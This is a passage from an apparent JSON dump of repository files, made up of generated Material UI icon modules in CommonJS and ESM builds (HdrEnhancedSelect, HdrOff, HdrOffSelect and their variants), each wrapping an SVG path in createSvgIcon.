0v-1h-2v1zm-13-.5v-2H5v6H3.5v-2.5h-2V22H0v-6h1.5v2zm6.5-2c.8 0 1.5.7 1.5 1.5v3c0 .8-.7 1.5-1.5 1.5H6.5v-6zm0 4.5v-3H8v3z\"\n}), 'HdrEnhancedSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 2C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m1 7h-2V9H9V7h2V5h2v2h2v2h-2zm11 9h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zm-6-1.5c0 .6-.4 1.1-.9 1.4L18 22h-1.5l-.9-2h-1.1v2H13v-6h3.5c.8 0 1.5.7 1.5 1.5zm-1.5 0v-1h-2v1zm-13-.5v-2H5v6H3.5v-2.5h-2V22H0v-6h1.5v2zm6.5-2c.8 0 1.5.7 1.5 1.5v3c0 .8-.7 1.5-1.5 1.5H6.5v-6zm0 4.5v-3H8v3z\"\n}), 'HdrEnhancedSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 2C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m1 7h-2V9H9V7h2V5h2v2h2v2h-2zm11 9h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zm-6-1.5c0 .6-.4 1.1-.9 1.4L18 22h-1.5l-.9-2h-1.1v2H13v-6h3.5c.8 0 1.5.7 1.5 1.5zm-1.5 0v-1h-2v1zm-13-.5v-2H5v6H3.5v-2.5h-2V22H0v-6h1.5v2zm6.5-2c.8 0 1.5.7 1.5 1.5v3c0 .8-.7 1.5-1.5 1.5H6.5v-6zm0 4.5v-3H8v3z\"\n}), 'HdrEnhancedSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 2C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m1 7h-2V9H9V7h2V5h2v2h2v2h-2zm11 9h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zm-6-1.5c0 .6-.4 1.1-.9 1.4L18 22h-1.5l-.9-2h-1.1v2H13v-6h3.5c.8 0 1.5.7 1.5 1.5zm-1.5 0v-1h-2v1zm-13-.5v-2H5v6H3.5v-2.5h-2V22H0v-6h1.5v2zm6.5-2c.8 0 1.5.7 1.5 1.5v3c0 .8-.7 1.5-1.5 1.5H6.5v-6zm0 4.5v-3H8v3z\"\n}), 'HdrEnhancedSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2 7h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V9h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V6c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1m-4 7H7c-.28 0-.5.22-.5.5v5c0 .28.22.5.5.5h3c.82 0 1.5-.67 1.5-1.5v-3c0-.83-.68-1.5-1.5-1.5m0 4.5H8v-3h2zm6.5-4.5H14c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4v-1c0-.83-.67-1.5-1.5-1.5m0 2.5h-2v-1h2zm-13-.5h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75zm18.5.5v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.25h-1.25c-.41 0-.75.34-.75.75s.34.75.75.75h1.25v1.25c0 .41.34.75.75.75s.75-.34.75-.75V20h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75z\"\n}), 'HdrEnhancedSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2 7h-1v1c0 .55-.45 1-1 1s-1-.45-1-1V9h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V6c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1m-4 7H7c-.28 0-.5.22-.5.5v5c0 .28.22.5.5.5h3c.82 0 1.5-.67 1.5-1.5v-3c0-.83-.68-1.5-1.5-1.5m0 4.5H8v-3h2zm6.5-4.5H14c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4v-1c0-.83-.67-1.5-1.5-1.5m0 2.5h-2v-1h2zm-13-.5h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75zm18.5.5v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.25h-1.25c-.41 0-.75.34-.75.75s.34.75.75.75h1.25v1.25c0 .41.34.75.75.75s.75-.34.75-.75V20h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75z\"\n}), 'HdrEnhancedSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m3 7h-2v2h-2V9H9V7h2V5h2v2h2zm-5 7H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm8-4.5h-5v6h1.5v-2h1.1l.9 2H18l-.86-2H18zm-1.5 2.5h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5z\"\n}), 'HdrEnhancedSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m3 7h-2v2h-2V9H9V7h2V5h2v2h2zm-5 7H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm8-4.5h-5v6h1.5v-2h1.1l.9 2H18l-.86-2H18zm-1.5 2.5h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5z\"\n}), 'HdrEnhancedSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m3 5h-2v2h-2V9H9V7h2V5h2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5h-2v2H9v2h2v2h2V9h2V7h-2zM3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM16.5 16H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zM10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2z\"\n}, \"2\")], 'HdrEnhancedSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrEnhancedSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C9.79 4 8 5.79 8 8s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m3 5h-2v2h-2V9H9V7h2V5h2v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5h-2v2H9v2h2v2h2V9h2V7h-2zM3.5 18h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm18.5.5v-2h-1.5v2h-2V20h2v2H22v-2h2v-1.5zM16.5 16H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2zM10 16H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2z\"\n}, \"2\")], 'HdrEnhancedSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1c.5-.2.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H16v4.9l1.1 1.1zm0-4.5h2v1h-2zm-4.5 0v.4l1.5 1.5v-1.9c0-.8-.7-1.5-1.5-1.5h-1.9l1.5 1.5zm-3.5-1-7-7-1.1 1L6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.1-1.1z\"\n}), 'HdrOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1c.5-.2.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H16v4.9l1.1 1.1zm0-4.5h2v1h-2zm-4.5 0v.4l1.5 1.5v-1.9c0-.8-.7-1.5-1.5-1.5h-1.9l1.5 1.5zm-3.5-1-7-7-1.1 1L6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.1-1.1z\"\n}), 'HdrOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H16v4.86L17.14 15zm0-4.5h2v1h-2zm-4.5 0v.36l1.5 1.5V10.5c0-.8-.7-1.5-1.5-1.5h-1.86l1.5 1.5zM2.51 2.49 1.45 3.55 6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.06-1.06z\"\n}), 'HdrOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H16v4.86L17.14 15zm0-4.5h2v1h-2zm-4.5 0v.36l1.5 1.5V10.5c0-.8-.7-1.5-1.5-1.5h-1.86l1.5 1.5zM2.51 2.49 1.45 3.55 6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.06-1.06z\"\n}), 'HdrOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 14.25V13h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.96l-.49-1.14c.5-.3.9-.8.9-1.4v-1c0-.83-.67-1.5-1.5-1.5H17c-.55 0-1 .45-1 1v3.9l1.04 1.04c.27-.11.46-.38.46-.69m0-3.75h2v1h-2zm-4.5 0v.4l1.5 1.5v-1.9c0-.82-.68-1.5-1.5-1.5h-1.9l1.5 1.5zm8.03 10.53-18-18c-.29-.29-.76-.29-1.05 0s-.29.76 0 1.05l4.98 4.98c-.27.11-.46.38-.46.69V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75V10.1l1.5 1.5v2.9c0 .28.22.5.5.5h2.5c.12 0 .24-.01.36-.04l7.11 7.11c.29.29.76.29 1.05 0 .29-.28.29-.75.01-1.04\"\n}), 'HdrOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 14.25V13h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.96l-.49-1.14c.5-.3.9-.8.9-1.4v-1c0-.83-.67-1.5-1.5-1.5H17c-.55 0-1 .45-1 1v3.9l1.04 1.04c.27-.11.46-.38.46-.69m0-3.75h2v1h-2zm-4.5 0v.4l1.5 1.5v-1.9c0-.82-.68-1.5-1.5-1.5h-1.9l1.5 1.5zm8.03 10.53-18-18c-.29-.29-.76-.29-1.05 0s-.29.76 0 1.05l4.98 4.98c-.27.11-.46.38-.46.69V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75V10.1l1.5 1.5v2.9c0 .28.22.5.5.5h2.5c.12 0 .24-.01.36-.04l7.11 7.11c.29.29.76.29 1.05 0 .29-.28.29-.75.01-1.04\"\n}), 'HdrOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.83-.67-1.5-1.5-1.5H14c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75zm6.5-2H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H10c.82 0 1.5-.67 1.5-1.5v-3c0-.83-.68-1.5-1.5-1.5m0 4.5H8v-3h2zm13.25-.5H22v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V20h-1.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.25v-1.25c0-.41.34-.75.75-.75s.75.34.75.75v1.25h1.25c.41 0 .75.34.75.75s-.34.75-.75.75M10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87m-5.35-1.1c-.39.39-.39 1.02 0 1.41l.96.96c-2.42 5.1 2.88 10.41 7.99 7.99l.95.95c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-9.9-9.91c-.38-.38-1.02-.38-1.41.01m2.52 3.93 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.83-.67-1.5-1.5-1.5H14c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75zm6.5-2H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H10c.82 0 1.5-.67 1.5-1.5v-3c0-.83-.68-1.5-1.5-1.5m0 4.5H8v-3h2zm13.25-.5H22v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V20h-1.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.25v-1.25c0-.41.34-.75.75-.75s.75.34.75.75v1.25h1.25c.41 0 .75.34.75.75s-.34.75-.75.75M10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87m-5.35-1.1c-.39.39-.39 1.02 0 1.41l.96.96c-2.42 5.1 2.88 10.41 7.99 7.99l.95.95c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-9.9-9.91c-.38-.38-1.02-.38-1.41.01m2.52 3.93 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20v-4h-5v6h1.5v-2h1.1l.9 2H18l-.86-2zm-1.5-1.5h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 